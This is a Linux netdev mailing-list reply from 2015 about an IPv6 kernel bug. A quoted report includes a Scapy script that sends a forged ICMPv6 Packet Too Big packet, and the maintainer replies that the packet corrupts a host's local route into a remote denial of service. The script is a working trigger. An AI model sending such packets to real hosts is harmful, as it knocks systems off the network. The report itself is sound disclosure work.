Hello On Tue, Oct 13, 2015, at 09:09, Li RongQing wrote: > 1. Machine with 2001:1b70:82a8:18:650:65:0:2 address, and receive wrong > icmp packets > root@du1:~# ifconfig > eth10.650 Link encap:Ethernet HWaddr 74:c9:9a:a7:e5:88 > inet6 addr: fe80::76c9:9aff:fea7:e588/64 Scope:Link > inet6 addr: 2001:1b70:82a8:18:650:65:0:2/80 Scope:Global > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 > RX packets:1 errors:0 dropped:0 overruns:0 frame:0 > TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 > collisions:0 txqueuelen:0 > RX bytes:104 (104.0 B) TX bytes:934 (934.0 B) > > 2. ICMPv6 packet is as below. > > ###[ Ethernet ]### > dst = 74:C9:9A:A7:E5:88 > src = ae:4f:44:f2:10:cc > type = 0x86dd > ###[ IPv6 ]### > version = 6 > tc = 0 > fl = 0 > plen = None > nh = ICMPv6 > hlim = 64 > src = 2001:1b70:82a8:18:650:65:0:4 > dst = 2001:1b70:82a8:18:650:65:0:2 > > ###[ ICMPv6 Packet Too Big ]### > type = Packet too big > code = 0 > cksum = None > mtu = 1280 > > ###[ IPv6 ]### > version = 6 > tc = 0 > fl = 0 > plen = None > nh = ICMPv6 > hlim = 255 > src = 2001:1b70:82a8:18:650:65:0:2 > dst = 2001:1b70:82a8:18:650:65:0:2 > ###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]### > type = Neighbor Advertisement > code = 0 > cksum = None > R = 1 > S = 0 > O = 1 > res = 0x0 > tgt = 2001:1b70:82a8:18:650:65:0:2 > > ##### Test ##### > > 3. Send ICMPv6 with Scapy to trigger fault. > > conf.iface='eth1' > eth = Ether(src='ae:4f:44:f2:10:cc', dst='74:C9:9A:A7:E5:88') > base = IPv6(src='2001:1b70:82a8:18:650:65:0:4', > dst='2001:1b70:82a8:18:650:65:0:2') > ptb = ICMPv6PacketTooBig(type=2) > packet = eth/base/ptb > ptb_payload_na_base = IPv6(src='2001:1b70:82a8:18:650:65:0:2', > dst='2001:1b70:82a8:18:650:65:0:2') > ptb_payload_na = ICMPv6ND_NA(type=136, > tgt='2001:1b70:82a8:18:650:65:0:2') > ptb_payload = ptb_payload_na_base/ptb_payload_na > packet = packet/ptb_payload > sendp(packet, iface="eth1.650", count=1)
That is a mess, yes. We should in real life scenarios restrict path mtu updates to sockets which are bound to the mirrored portion of the packet which is payload of the icmp payload. :( And not accept source addresses which are obvious local. Obviously icmpv6 notify routing engine without checks (how could they) about the path mtu limitation. > > 4. route information will enter the faulty state after Wait 600 > seconds, > > root@du1:~# ip route get 2001:1b70:82a8:18:650:65:0:2 > local 2001:1b70:82a8:18:650:65:0:2 dev lo proto none src > 2001:1b70:82a8:18:650:65:0:2 metric 0 expires 7sec mtu 1280 > > root@du1:~# ip route get 2001:1b70:82a8:18:650:65:0:2 > local 2001:1b70:82a8:18:650:65:0:2 dev lo proto none src > 2001:1b70:82a8:18:650:65:0:2 metric 0 expires 3sec mtu 1280 > > root@du1:~# ip route get 2001:1b70:82a8:18:650:65:0:2 > 2001:1b70:82a8:18:650:65:0:2 dev eth10.650 src > 2001:1b70:82a8:18:650:65:0:2 metric 0 > cache > root@du1:~# Urks, it got promoted to a non-local route after removing thus rendering a remote DoS possibility. This is bad bad bad. Thanks for the report! Hannes -- To unsubscribe from this list: send the line "unsubscribe netdev" in the body of a message to [email protected] More majordomo info at http://vger.kernel.org/majordomo-info.html
